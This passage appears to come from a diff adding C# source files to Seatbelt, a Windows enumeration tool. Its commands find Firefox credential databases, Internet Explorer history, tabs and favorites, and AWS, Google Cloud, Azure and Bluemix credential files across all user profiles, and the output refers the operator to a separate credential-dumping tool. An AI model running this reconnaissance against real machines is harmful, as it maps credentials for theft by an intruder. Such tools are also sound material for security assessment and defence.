if (File.Exists(firefoxHistoryFile))
|
||||||
|
{
|
||||||
|
historyLastModified = File.GetLastWriteTime(firefoxHistoryFile);
|
||||||
|
}
|
||||||
|
|
||||||
|
var firefoxCredentialFile3 = $"{directory}\\key3.db";
|
||||||
|
if (File.Exists(firefoxCredentialFile3))
|
||||||
|
{
|
||||||
|
credentialFile3LastModified = File.GetLastWriteTime(firefoxCredentialFile3);
|
||||||
|
}
|
||||||
|
|
||||||
|
var firefoxCredentialFile4 = $"{directory}\\key4.db";
|
||||||
|
if (File.Exists(firefoxCredentialFile4))
|
||||||
|
{
|
||||||
|
credentialFile4LastModified = File.GetLastWriteTime(firefoxCredentialFile4);
|
||||||
|
}
|
||||||
|
|
||||||
|
if (historyLastModified != DateTime.MinValue || credentialFile3LastModified != DateTime.MinValue || credentialFile4LastModified != DateTime.MinValue)
|
||||||
|
{
|
||||||
|
yield return new FirefoxPresenceDTO(
|
||||||
|
directory,
|
||||||
|
historyLastModified,
|
||||||
|
credentialFile3LastModified,
|
||||||
|
credentialFile4LastModified
|
||||||
|
);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
internal class FirefoxPresenceDTO : CommandDTOBase
|
||||||
|
{
|
||||||
|
public FirefoxPresenceDTO(string folder, DateTime historyLastModified, DateTime credentialFile3LastModified, DateTime credentialFile4LastModified)
|
||||||
|
{
|
||||||
|
Folder = folder;
|
||||||
|
HistoryLastModified = historyLastModified;
|
||||||
|
CredentialFile3LastModified = credentialFile3LastModified;
|
||||||
|
CredentialFile4LastModified = credentialFile4LastModified;
|
||||||
|
}
|
||||||
|
public string Folder { get; }
|
||||||
|
public DateTime HistoryLastModified { get; }
|
||||||
|
public DateTime CredentialFile3LastModified { get; }
|
||||||
|
public DateTime CredentialFile4LastModified { get; }
|
||||||
|
}
|
||||||
|
|
||||||
|
[CommandOutputType(typeof(FirefoxPresenceDTO))]
|
||||||
|
internal class FirefoxPresenceFormatter : TextFormatterBase
|
||||||
|
{
|
||||||
|
public FirefoxPresenceFormatter(ITextWriter writer) : base(writer)
|
||||||
|
{
|
||||||
|
}
|
||||||
|
|
||||||
|
public override void FormatResult(CommandBase? command, CommandDTOBase result, bool filterResults)
|
||||||
|
{
|
||||||
|
var dto = (FirefoxPresenceDTO)result;
|
||||||
|
|
||||||
|
WriteLine(" {0}\\\n", dto.Folder);
|
||||||
|
if (dto.HistoryLastModified != DateTime.MinValue)
|
||||||
|
{
|
||||||
|
WriteLine(" 'places.sqlite' ({0}) : History file, run the 'FirefoxTriage' command", dto.HistoryLastModified);
|
||||||
|
}
|
||||||
|
if (dto.CredentialFile3LastModified != DateTime.MinValue)
|
||||||
|
{
|
||||||
|
WriteLine(" 'key3.db' ({0}) : Credentials file, run SharpWeb (https://github.com/djhohnstein/SharpWeb)", dto.CredentialFile3LastModified);
|
||||||
|
}
|
||||||
|
if (dto.CredentialFile4LastModified != DateTime.MinValue)
|
||||||
|
{
|
||||||
|
WriteLine(" 'key4.db' ({0}) : Credentials file, run SharpWeb (https://github.com/djhohnstein/SharpWeb)", dto.CredentialFile4LastModified);
|
||||||
|
}
|
||||||
|
WriteLine();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
|
@ -0,0 +1,115 @@
|
||||||
|
using System;
|
||||||
|
using System.Collections.Generic;
|
||||||
|
using System.IO;
|
||||||
|
using Seatbelt.Output.Formatters;
|
||||||
|
using Seatbelt.Output.TextWriters;
|
||||||
|
|
||||||
|
|
||||||
|
namespace Seatbelt.Commands.Browser
|
||||||
|
{
|
||||||
|
internal class InternetExplorerFavoritesCommand : CommandBase
|
||||||
|
{
|
||||||
|
public override string Command => "IEFavorites";
|
||||||
|
public override string Description => "Internet Explorer favorites";
|
||||||
|
public override CommandGroup[] Group => new[] { CommandGroup.User };
|
||||||
|
public override bool SupportRemote => true;
|
||||||
|
public Runtime ThisRunTime;
|
||||||
|
|
||||||
|
|
||||||
|
public InternetExplorerFavoritesCommand(Runtime runtime) : base(runtime)
|
||||||
|
{
|
||||||
|
ThisRunTime = runtime;
|
||||||
|
}
|
||||||
|
|
||||||
|
public override IEnumerable<CommandDTOBase?> Execute(string[] args)
|
||||||
|
{
|
||||||
|
var dirs = ThisRunTime.GetDirectories("\\Users\\");
|
||||||
|
|
||||||
|
foreach (var dir in dirs)
|
||||||
|
{
|
||||||
|
var parts = dir.Split('\\');
|
||||||
|
var userName = parts[parts.Length - 1];
|
||||||
|
if (dir.EndsWith("Public") || dir.EndsWith("Default") || dir.EndsWith("Default User") ||
|
||||||
|
dir.EndsWith("All Users"))
|
||||||
|
{
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
|
||||||
|
var userFavoritesPath = $"{dir}\\Favorites\\";
|
||||||
|
if (!Directory.Exists(userFavoritesPath))
|
||||||
|
{
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
|
||||||
|
var bookmarkPaths = Directory.GetFiles(userFavoritesPath, "*.url", SearchOption.AllDirectories);
|
||||||
|
if (bookmarkPaths.Length == 0)
|
||||||
|
{
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
|
||||||
|
var favorites = new List<string>();
|
||||||
|
|
||||||
|
foreach (var bookmarkPath in bookmarkPaths)
|
||||||
|
{
|
||||||
|
using var rdr = new StreamReader(bookmarkPath);
|
||||||
|
string line;
|
||||||
|
var url = "";
|
||||||
|
|
||||||
|
while ((line = rdr.ReadLine()) != null)
|
||||||
|
{
|
||||||
|
if (!line.StartsWith("URL=", StringComparison.InvariantCultureIgnoreCase))
|
||||||
|
{
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (line.Length > 4)
|
||||||
|
{
|
||||||
|
url = line.Substring(4);
|
||||||
|
}
|
||||||
|
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
|
||||||
|
favorites.Add(url.Trim());
|
||||||
|
}
|
||||||
|
|
||||||
|
yield return new InternetExplorerFavoritesDTO(
|
||||||
|
userName,
|
||||||
|
favorites
|
||||||
|
);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
internal class InternetExplorerFavoritesDTO : CommandDTOBase
|
||||||
|
{
|
||||||
|
public InternetExplorerFavoritesDTO(string userName, List<string> favorites)
|
||||||
|
{
|
||||||
|
UserName = userName;
|
||||||
|
Favorites = favorites;
|
||||||
|
}
|
||||||
|
public string UserName { get; }
|
||||||
|
public List<string> Favorites { get; }
|
||||||
|
}
|
||||||
|
|
||||||
|
[CommandOutputType(typeof(InternetExplorerFavoritesDTO))]
|
||||||
|
internal class InternetExplorerFavoritesFormatter : TextFormatterBase
|
||||||
|
{
|
||||||
|
public InternetExplorerFavoritesFormatter(ITextWriter writer) : base(writer)
|
||||||
|
{
|
||||||
|
}
|
||||||
|
|
||||||
|
public override void FormatResult(CommandBase? command, CommandDTOBase result, bool filterResults)
|
||||||
|
{
|
||||||
|
var dto = (InternetExplorerFavoritesDTO)result;
|
||||||
|
|
||||||
|
WriteLine($"Favorites ({dto.UserName}):\n");
|
||||||
|
|
||||||
|
foreach (var favorite in dto.Favorites)
|
||||||
|
{
|
||||||
|
WriteLine($" {favorite}");
|
||||||
|
}
|
||||||
|
WriteLine();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
|
@ -0,0 +1,83 @@
|
||||||
|
using System;
|
||||||
|
using System.Collections.Generic;
|
||||||
|
using System.Reflection;
|
||||||
|
using System.Runtime.InteropServices;
|
||||||
|
using System.Text.RegularExpressions;
|
||||||
|
|
||||||
|
|
||||||
|
namespace Seatbelt.Commands.Browser
|
||||||
|
{
|
||||||
|
internal class InternetExplorerTabCommand : CommandBase
|
||||||
|
{
|
||||||
|
public override string Command => "IETabs";
|
||||||
|
public override string Description => "Open Internet Explorer tabs";
|
||||||
|
public override CommandGroup[] Group => new[] { CommandGroup.User };
|
||||||
|
public override bool SupportRemote => false; // don't think this is possible...
|
||||||
|
|
||||||
|
public InternetExplorerTabCommand(Runtime runtime) : base(runtime)
|
||||||
|
{
|
||||||
|
}
|
||||||
|
|
||||||
|
public override IEnumerable<CommandDTOBase?> Execute(string[] args)
|
||||||
|
{
|
||||||
|
// Lists currently open Internet Explorer tabs, via COM
|
||||||
|
// Notes:
|
||||||
|
// https://searchcode.com/codesearch/view/9859954/
|
||||||
|
// https://gist.github.com/yizhang82/a1268d3ea7295a8a1496e01d60ada816
|
||||||
|
|
||||||
|
// Shell.Application COM GUID
|
||||||
|
var shell = Type.GetTypeFromProgID("Shell.Application");
|
||||||
|
|
||||||
|
// actually instantiate the Shell.Application COM object
|
||||||
|
var shellObj = Activator.CreateInstance(shell);
|
||||||
|
|
||||||
|
// grab all the current windows
|
||||||
|
var windows = shellObj.GetType().InvokeMember("Windows", BindingFlags.InvokeMethod, null, shellObj, null);
|
||||||
|
|
||||||
|
// grab the open tab count
|
||||||
|
var openTabs = windows.GetType().InvokeMember("Count", BindingFlags.GetProperty, null, windows, null);
|
||||||
|
var openTabsCount = int.Parse(openTabs.ToString());
|
||||||
|
|
||||||
|
for (var i = 0; i < openTabsCount; i++)
|
||||||
|
{
|
||||||
|
// grab the acutal tab
|
||||||
|
object? item = windows.GetType().InvokeMember("Item", BindingFlags.InvokeMethod, null, windows, new object[] { i });
|
||||||
|
string locationName = "", locationUrl = "";
|
||||||
|
|
||||||
|
try
|
||||||
|
{
|
||||||
|
// extract the tab properties
|
||||||
|
locationName = (string)item.GetType().InvokeMember("LocationName", BindingFlags.GetProperty, null, item, null);
|
||||||
|
locationUrl = (string)item.GetType().InvokeMember("LocationUrl", BindingFlags.GetProperty, null, item, null);
|
||||||
|
|
||||||
|
Marshal.ReleaseComObject(item);
|
||||||
|
item = null;
|
||||||
|
}
|
||||||
|
catch { }
|
||||||
|
|
||||||
|
// ensure we have a site address
|
||||||
|
if (Regex.IsMatch(locationUrl, @"(^https?://.+)|(^ftp://)"))
|
||||||
|
{
|
||||||
|
yield return new InternetExplorerTabsDTO(
|
||||||
|
locationName,
|
||||||
|
locationUrl
|
||||||
|
);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
Marshal.ReleaseComObject(windows);
|
||||||
|
Marshal.ReleaseComObject(shellObj);
|
||||||
|
}
|
||||||
|
|
||||||
|
internal class InternetExplorerTabsDTO : CommandDTOBase
|
||||||
|
{
|
||||||
|
public InternetExplorerTabsDTO(string locationName, string locationUrl)
|
||||||
|
{
|
||||||
|
LocationName = locationName;
|
||||||
|
LocationUrl = locationUrl;
|
||||||
|
}
|
||||||
|
public string LocationName { get; }
|
||||||
|
public string LocationUrl { get; }
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
|
@ -0,0 +1,130 @@
|
||||||
|
using Microsoft.Win32;
|
||||||
|
using System;
|
||||||
|
using System.Collections.Generic;
|
||||||
|
using Seatbelt.Output.Formatters;
|
||||||
|
using Seatbelt.Output.TextWriters;
|
||||||
|
|
||||||
|
|
||||||
|
namespace Seatbelt.Commands.Browser
|
||||||
|
{
|
||||||
|
class TypedUrl
|
||||||
|
{
|
||||||
|
public TypedUrl(DateTime time, string url)
|
||||||
|
{
|
||||||
|
Time = time;
|
||||||
|
Url = url;
|
||||||
|
}
|
||||||
|
public DateTime Time { get; }
|
||||||
|
public string Url { get; }
|
||||||
|
}
|
||||||
|
|
||||||
|
internal class InternetExplorerTypedUrlsCommand : CommandBase
|
||||||
|
{
|
||||||
|
public override string Command => "IEUrls";
|
||||||
|
public override string Description => "Internet Explorer typed URLs (last 7 days, argument == last X days)";
|
||||||
|
public override CommandGroup[] Group => new[] { CommandGroup.User };
|
||||||
|
public override bool SupportRemote => true;
|
||||||
|
public Runtime ThisRunTime;
|
||||||
|
|
||||||
|
public InternetExplorerTypedUrlsCommand(Runtime runtime) : base(runtime)
|
||||||
|
{
|
||||||
|
ThisRunTime = runtime;
|
||||||
|
}
|
||||||
|
|
||||||
|
public override IEnumerable<CommandDTOBase?> Execute(string[] args)
|
||||||
|
{
|
||||||
|
// lists Internet explorer history (last 7 days by default)
|
||||||
|
var lastDays = 7;
|
||||||
|
|
||||||
|
if (!Runtime.FilterResults)
|
||||||
|
{
|
||||||
|
lastDays = 90;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (args.Length >= 1)
|
||||||
|
{
|
||||||
|
if (!int.TryParse(args[0], out lastDays))
|
||||||
|
{
|
||||||
|
throw new ArgumentException("Argument is not an integer");
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
var startTime = DateTime.Now.AddDays(-lastDays);
|
||||||
|
|
||||||
|
WriteHost($"Internet Explorer typed URLs for the last {lastDays} days\n");
|
||||||
|
|
||||||
|
var SIDs = ThisRunTime.GetUserSIDs();
|
||||||
|
|
||||||
|
foreach (var sid in SIDs)
|
||||||
|
{
|
||||||
|
if (!sid.StartsWith("S-1-5") || sid.EndsWith("_Classes"))
|
||||||
|
{
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
|
||||||
|
var settings = ThisRunTime.GetValues(RegistryHive.Users, $"{sid}\\SOFTWARE\\Microsoft\\Internet Explorer\\TypedURLs");
|
||||||
|
if ((settings == null) || (settings.Count <= 1))
|
||||||
|
{
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
|
||||||
|
var URLs = new List<TypedUrl>();
|
||||||
|
|
||||||
|
foreach (var kvp in settings)
|
||||||
|
{
|
||||||
|
var timeBytes = ThisRunTime.GetBinaryValue(RegistryHive.Users, $"{sid}\\SOFTWARE\\Microsoft\\Internet Explorer\\TypedURLsTime", kvp.Key.Trim());
|
||||||
|
|
||||||
|
if (timeBytes == null)
|
||||||
|
continue;
|
||||||
|
|
||||||
|
var timeLong = BitConverter.ToInt64(timeBytes, 0);
|
||||||
|
var urlTime = DateTime.FromFileTime(timeLong);
|
||||||
|
if (urlTime > startTime)
|
||||||
|
{
|
||||||
|
URLs.Add(new TypedUrl(
|
||||||
|
urlTime,
|
||||||
|
kvp.Value.ToString().Trim()
|
||||||
|
));
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
yield return new InternetExplorerTypedURLsDTO(
|
||||||
|
sid,
|
||||||
|
URLs
|
||||||
|
);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
internal class InternetExplorerTypedURLsDTO : CommandDTOBase
|
||||||
|
{
|
||||||
|
public InternetExplorerTypedURLsDTO(string sid, List<TypedUrl> urls)
|
||||||
|
{
|
||||||
|
Sid = sid;
|
||||||
|
Urls = urls;
|
||||||
|
}
|
||||||
|
public string Sid { get; }
|
||||||
|
public List<TypedUrl> Urls { get; }
|
||||||
|
}
|
||||||
|
|
||||||
|
[CommandOutputType(typeof(InternetExplorerTypedURLsDTO))]
|
||||||
|
internal class InternetExplorerTypedURLsFormatter : TextFormatterBase
|
||||||
|
{
|
||||||
|
public InternetExplorerTypedURLsFormatter(ITextWriter writer) : base(writer)
|
||||||
|
{
|
||||||
|
}
|
||||||
|
|
||||||
|
public override void FormatResult(CommandBase? command, CommandDTOBase result, bool filterResults)
|
||||||
|
{
|
||||||
|
var dto = (InternetExplorerTypedURLsDTO)result;
|
||||||
|
|
||||||
|
WriteLine("\n {0}", dto.Sid);
|
||||||
|
|
||||||
|
foreach (var url in dto.Urls)
|
||||||
|
{
|
||||||
|
WriteLine($" {url.Time,-23} : {url.Url}");
|
||||||
|
}
|
||||||
|
WriteLine();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
|
@ -0,0 +1,36 @@
|
||||||
|
using System;
|
||||||
|
using System.Collections.Generic;
|
||||||
|
|
||||||
|
namespace Seatbelt.Commands
|
||||||
|
{
|
||||||
|
internal abstract class CommandBase
|
||||||
|
{
|
||||||
|
public abstract string Command { get; }
|
||||||
|
public virtual string CommandVersion { get; set; }
|
||||||
|
public abstract string Description { get; }
|
||||||
|
public abstract CommandGroup[] Group { get; }
|
||||||
|
public abstract bool SupportRemote { get; }
|
||||||
|
|
||||||
|
public Runtime Runtime { get; set; }
|
||||||
|
|
||||||
|
protected CommandBase(Runtime runtime)
|
||||||
|
{
|
||||||
|
CommandVersion = "1.0";
|
||||||
|
Runtime = runtime;
|
||||||
|
}
|
||||||
|
|
||||||
|
public abstract IEnumerable<CommandDTOBase?> Execute(string[] args);
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
public void WriteOutput(CommandDTOBase dto) => throw new NotImplementedException();
|
||||||
|
|
||||||
|
public void WriteVerbose(string message) => Runtime.OutputSink.WriteVerbose(message);
|
||||||
|
|
||||||
|
public void WriteWarning(string message) => Runtime.OutputSink.WriteWarning(message);
|
||||||
|
|
||||||
|
public void WriteError(string message) => Runtime.OutputSink.WriteError(message);
|
||||||
|
|
||||||
|
public void WriteHost(string format = "", params object[] args) => Runtime.OutputSink.WriteHost(string.Format(format, args));
|
||||||
|
}
|
||||||
|
}
|
|
@ -0,0 +1,22 @@
|
||||||
|
namespace Seatbelt.Commands
|
||||||
|
{
|
||||||
|
public class CommandDTOBase
|
||||||
|
{
|
||||||
|
private string CommandVersion { get; set; }
|
||||||
|
|
||||||
|
protected CommandDTOBase()
|
||||||
|
{
|
||||||
|
CommandVersion = "";
|
||||||
|
}
|
||||||
|
|
||||||
|
public void SetCommandVersion(string commandVersion)
|
||||||
|
{
|
||||||
|
CommandVersion = commandVersion;
|
||||||
|
}
|
||||||
|
|
||||||
|
public string GetCommandVersion()
|
||||||
|
{
|
||||||
|
return CommandVersion;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
|
@ -0,0 +1,19 @@
|
||||||
|
using System;
|
||||||
|
using System.Collections.Generic;
|
||||||
|
using System.Linq;
|
||||||
|
using System.Text;
|
||||||
|
|
||||||
|
namespace Seatbelt.Commands
|
||||||
|
{
|
||||||
|
[Flags]
|
||||||
|
public enum CommandGroup
|
||||||
|
{
|
||||||
|
All,
|
||||||
|
User,
|
||||||
|
System,
|
||||||
|
Slack,
|
||||||
|
Chromium,
|
||||||
|
Remote,
|
||||||
|
Misc,
|
||||||
|
}
|
||||||
|
}
|
|
@ -0,0 +1,20 @@
|
||||||
|
using System;
|
||||||
|
|
||||||
|
namespace Seatbelt.Commands
|
||||||
|
{
|
||||||
|
[AttributeUsage(AttributeTargets.Class, AllowMultiple = false)]
|
||||||
|
class CommandOutputTypeAttribute : Attribute
|
||||||
|
{
|
||||||
|
public Type Type { get; set; }
|
||||||
|
|
||||||
|
public CommandOutputTypeAttribute(Type outputDTO)
|
||||||
|
{
|
||||||
|
if (!typeof(CommandDTOBase).IsAssignableFrom(outputDTO))
|
||||||
|
{
|
||||||
|
throw new Exception($"CommandOutputTypeAttribute: the specified output DTO({outputDTO}) does not inherit from CommandDTOBase");
|
||||||
|
}
|
||||||
|
|
||||||
|
Type = outputDTO;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
|
@ -0,0 +1,29 @@
|
||||||
|
using Seatbelt.Output.Formatters;
|
||||||
|
using Seatbelt.Output.TextWriters;
|
||||||
|
|
||||||
|
namespace Seatbelt.Commands
|
||||||
|
{
|
||||||
|
internal class ErrorDTO : CommandDTOBase
|
||||||
|
{
|
||||||
|
public ErrorDTO(string message)
|
||||||
|
{
|
||||||
|
Message = message;
|
||||||
|
}
|
||||||
|
|
||||||
|
public string Message { get; }
|
||||||
|
}
|
||||||
|
|
||||||
|
[CommandOutputType(typeof(ErrorDTO))]
|
||||||
|
internal class ErrorTextFormatter : TextFormatterBase
|
||||||
|
{
|
||||||
|
public ErrorTextFormatter(ITextWriter writer) : base(writer)
|
||||||
|
{
|
||||||
|
}
|
||||||
|
|
||||||
|
public override void FormatResult(CommandBase? command, CommandDTOBase result, bool filterResults)
|
||||||
|
{
|
||||||
|
var dto = (ErrorDTO)result;
|
||||||
|
WriteLine("ERROR: " + dto.Message);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
|
@ -0,0 +1,29 @@
|
||||||
|
using Seatbelt.Output.Formatters;
|
||||||
|
using Seatbelt.Output.TextWriters;
|
||||||
|
|
||||||
|
namespace Seatbelt.Commands
|
||||||
|
{
|
||||||
|
internal class HostDTO : CommandDTOBase
|
||||||
|
{
|
||||||
|
public HostDTO(string message)
|
||||||
|
{
|
||||||
|
Message = message;
|
||||||
|
}
|
||||||
|
|
||||||
|
public string Message { get; }
|
||||||
|
}
|
||||||
|
|
||||||
|
[CommandOutputType(typeof(HostDTO))]
|
||||||
|
internal class HostTextFormatter : TextFormatterBase
|
||||||
|
{
|
||||||
|
public HostTextFormatter(ITextWriter writer) : base(writer)
|
||||||
|
{
|
||||||
|
}
|
||||||
|
|
||||||
|
public override void FormatResult(CommandBase? command, CommandDTOBase result, bool filterResults)
|
||||||
|
{
|
||||||
|
var dto = (HostDTO)result;
|
||||||
|
WriteLine(dto.Message);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
|
@ -0,0 +1,138 @@
|
||||||
|
using System;
|
||||||
|
using System.Collections.Generic;
|
||||||
|
using System.IO;
|
||||||
|
|
||||||
|
namespace Seatbelt.Commands
|
||||||
|
{
|
||||||
|
internal class CloudCredentialsCommand : CommandBase
|
||||||
|
{
|
||||||
|
public override string Command => "CloudCredentials";
|
||||||
|
public override string Description => "AWS/Google/Azure/Bluemix cloud credential files";
|
||||||
|
public override CommandGroup[] Group => new[] {CommandGroup.User, CommandGroup.Remote};
|
||||||
|
public override bool SupportRemote => true;
|
||||||
|
public Runtime ThisRunTime;
|
||||||
|
|
||||||
|
public CloudCredentialsCommand(Runtime runtime) : base(runtime)
|
||||||
|
{
|
||||||
|
ThisRunTime = runtime;
|
||||||
|
}
|
||||||
|
|
||||||
|
public override IEnumerable<CommandDTOBase?> Execute(string[] args)
|
||||||
|
{
|
||||||
|
// checks for various cloud credential files (AWS, Microsoft Azure, and Google Compute)
|
||||||
|
// adapted from https://twitter.com/cmaddalena's SharpCloud project (https://github.com/chrismaddalena/SharpCloud/)
|
||||||
|
|
||||||
|
var dirs = ThisRunTime.GetDirectories("\\Users\\");
|
||||||
|
|
||||||
|
foreach (var dir in dirs)
|
||||||
|
{
|
||||||
|
if (dir.EndsWith("Public") || dir.EndsWith("Default") || dir.EndsWith("Default User") ||
|
||||||
|
dir.EndsWith("All Users"))
|
||||||
|
{
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
|
||||||
|
var awsKeyFile = $"{dir}\\.aws\\credentials";
|
||||||
|
if (File.Exists(awsKeyFile))
|
||||||
|
{
|
||||||
|
var lastAccessed = File.GetLastAccessTime(awsKeyFile);
|
||||||
|
var lastModified = File.GetLastWriteTime(awsKeyFile);
|
||||||
|
var size = new FileInfo(awsKeyFile).Length;
|
||||||
|
|
||||||
|
yield return new CloudCredentialsDTO(
|
||||||
|
"AWS",
|
||||||
|
awsKeyFile,
|
||||||
|
lastAccessed,
|
||||||
|
lastModified,
|
||||||
|
size
|
||||||
|
);
|
||||||
|
}
|
||||||
|
|
||||||
|
string[] googleCredLocations = { $"{dir}\\AppData\\Roaming\\gcloud\\credentials.db",
|
||||||
|
$"{dir}\\AppData\\Roaming\\gcloud\\legacy_credentials",
|
||||||
|
$"{dir}\\AppData\\Roaming\\gcloud\\access_tokens.db"};
|
||||||
|
|
||||||
|
foreach(var googleCredLocation in googleCredLocations)
|
||||||
|
{
|
||||||
|
if (!File.Exists(googleCredLocation)) continue;
|
||||||
|
|
||||||
|
var lastAccessed = File.GetLastAccessTime(googleCredLocation);
|
||||||
|
var lastModified = File.GetLastWriteTime(googleCredLocation);
|
||||||
|
var size = new FileInfo(googleCredLocation).Length;
|
||||||
|
|
||||||
|
yield return new CloudCredentialsDTO(
|
||||||
|
"Google",
|
||||||
|
googleCredLocation,
|
||||||
|
lastAccessed,
|
||||||
|
lastModified,
|
||||||
|
size
|
||||||
|
);
|
||||||
|
}
|
||||||
|
|
||||||
|
string[] azureCredLocations = { $"{dir}\\.azure\\azureProfile.json",
|
||||||
|
$"{dir}\\.azure\\TokenCache.dat",
|
||||||
|
$"{dir}\\.azure\\AzureRMContext.json",
|
||||||
|
$"{dir}\\AppData\\Roaming\\Windows Azure Powershell\\TokenCache.dat",
|
||||||
|
$"{dir}\\AppData\\Roaming\\Windows Azure Powershell\\AzureRMContext.json" };
|
||||||
|
|
||||||
|
foreach (var azureCredLocation in azureCredLocations)
|
||||||
|
{
|
||||||
|
if (!File.Exists(azureCredLocation)) continue;
|
||||||
|
|
||||||
|
var lastAccessed = File.GetLastAccessTime(azureCredLocation);
|
||||||
|
var lastModified = File.GetLastWriteTime(azureCredLocation);
|
||||||
|
var size = new FileInfo(azureCredLocation).Length;
|
||||||
|
|
||||||
|
yield return new CloudCredentialsDTO(
|
||||||
|
"Azure",
|
||||||
|
azureCredLocation,
|
||||||
|
lastAccessed,
|
||||||
|
lastModified,
|
||||||
|
size
|
||||||
|
);
|
||||||
|
}
|
||||||
|
|
||||||
|
string[] bluemixCredLocations = { $"{dir}\\.bluemix\\config.json",
|
||||||
|
$"{dir}\\.bluemix\\.cf\\config.json"};
|
||||||
|
|
||||||
|
foreach (var bluemixCredLocation in bluemixCredLocations)
|
||||||
|
{
|
||||||
|
if (!File.Exists(bluemixCredLocation)) continue;
|
||||||
|
|
||||||
|
var lastAccessed = File.GetLastAccessTime(bluemixCredLocation);
|
||||||
|
var lastModified = File.GetLastWriteTime(bluemixCredLocation);
|
||||||
|
var size = new FileInfo(bluemixCredLocation).Length;
|
||||||
|
|
||||||
|
yield return new CloudCredentialsDTO(
|
||||||
|
"Bluemix",
|
||||||
|
bluemixCredLocation,
|
||||||
|
lastAccessed,
|
||||||
|
lastModified,
|
||||||
|
size
|
||||||
|
);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
internal class CloudCredentialsDTO : CommandDTOBase
|
||||||
|
{
|
||||||
|
public CloudCredentialsDTO(string type, string fileName, DateTime lastAccessed, DateTime lastModified, long size)
|
||||||
|
{
|
||||||
|
Type = type;
|
||||||
|
FileName = fileName;
|
||||||
|
LastAccessed = lastAccessed;
|
||||||
|
LastModified = lastModified;
|
||||||
|
Size = size;
|
||||||
|
}
|
||||||
|
public string Type { get; }
|
||||||
|
|
||||||
|
public string FileName { get; }
|
||||||
|
|
||||||
|
public DateTime LastAccessed { get; }
|
||||||
|
|
||||||
|
public DateTime LastModified { get; }
|
||||||
|
|
||||||
|
public long Size { get; }
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
|
@ -0,0 +1,231 @@
|
||||||
|
using System;
|
||||||
|
using System.Collections.Generic;
|
||||||
|
using System.IO;
|
||||||
|
using System.Linq;
|
||||||
|
using System.Text.RegularExpressions;
|
||||||
|
using Seatbelt.Output.Formatters;
|
||||||
|
using Seatbelt.Output.TextWriters;
|
||||||
|
|
||||||
|
namespace Seatbelt.Commands
|
||||||
|
{
|
||||||
|
public class DirectoryQuery
|
||||||
|
{
|
||||||
|
public DirectoryQuery(string path, int depth)
|
||||||
|
{
|
||||||
|
Path = path;
|
||||||
|
Depth = depth;
|
||||||
|
}
|
||||||
|
public string Path { get; }
|
||||||
|
public int Depth { get; }
|
||||||
|
}
|
||||||
|
internal class DirectoryListCommand : CommandBase
|
||||||
|
{
|
||||||
|
public override string Command => "dir";
|
||||||
|
|
||||||
|
public override string Description =>
|
||||||
|
"Lists files/folders. By default, lists users' downloads, documents, and desktop folders (arguments == [directory] [maxDepth] [regex] [boolIgnoreErrors]";
|
||||||
|
|
||||||
|
public override CommandGroup[] Group => new[] { CommandGroup.User };
|
||||||
|
public override bool SupportRemote => false;
|
||||||
|
private Stack<DirectoryQuery> _dirList = new Stack<DirectoryQuery>();
|
||||||
|
|
||||||
|
public DirectoryListCommand(Runtime runtime) : base(runtime)
|
||||||
|
{
|
||||||
|
}
|
||||||
|
|
||||||
|
public override IEnumerable<CommandDTOBase?> Execute(string[] args)
|
||||||
|
{
|
||||||
|
string directory;
|
||||||
|
Regex? regex = null;
|
||||||
|
int maxDepth;
|
||||||
|
var ignoreErrors = false;
|
||||||
|
|
||||||
|
WriteHost(" {0,-10} {1,-10} {2,-9} {3}\n", "LastAccess", "LastWrite", "Size", "Path");
|
||||||
|
|
||||||
|
if (args.Length == 0)
|
||||||
|
{
|
||||||
|
directory = $"{Environment.GetEnvironmentVariable("SystemDrive")}\\Users\\";
|
||||||
|
regex = new Regex(@"^(?!.*desktop\.ini).*\\(Documents|Downloads|Desktop)\\", RegexOptions.IgnoreCase);
|
||||||
|
maxDepth = 2;
|
||||||
|
ignoreErrors = true;
|
||||||
|
}
|
||||||
|
else if (args.Length == 1)
|
||||||
|
{
|
||||||
|
directory = args[0];
|
||||||
|
maxDepth = 0;
|
||||||
|
}
|
||||||
|
else if (args.Length == 2)
|
||||||
|
{
|
||||||
|
directory = args[0];
|
||||||
|
maxDepth = int.Parse(args[1]);
|
||||||
|
}
|
||||||
|
else if (args.Length == 3)
|
||||||
|
{
|
||||||
|
directory = args[0];
|
||||||
|
maxDepth = int.Parse(args[1]);
|
||||||
|
regex = new Regex(args[2], RegexOptions.IgnoreCase);
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
directory = args[0];
|
||||||
|
maxDepth = int.Parse(args[1]);
|
||||||
|
regex = new Regex(args[2], RegexOptions.IgnoreCase);
|
||||||
|
ignoreErrors = true;
|
||||||
|
}
|
||||||
|
|
||||||
|
directory = Path.GetFullPath(Environment.ExpandEnvironmentVariables(directory));
|
||||||
|
if (!directory.EndsWith(@"\")) directory += @"\";
|
||||||
|
|
||||||
|
_dirList.Push(new DirectoryQuery(directory, 0));
|
||||||
|
|
||||||
|
while (_dirList.Any())
|
||||||
|
{
|
||||||
|
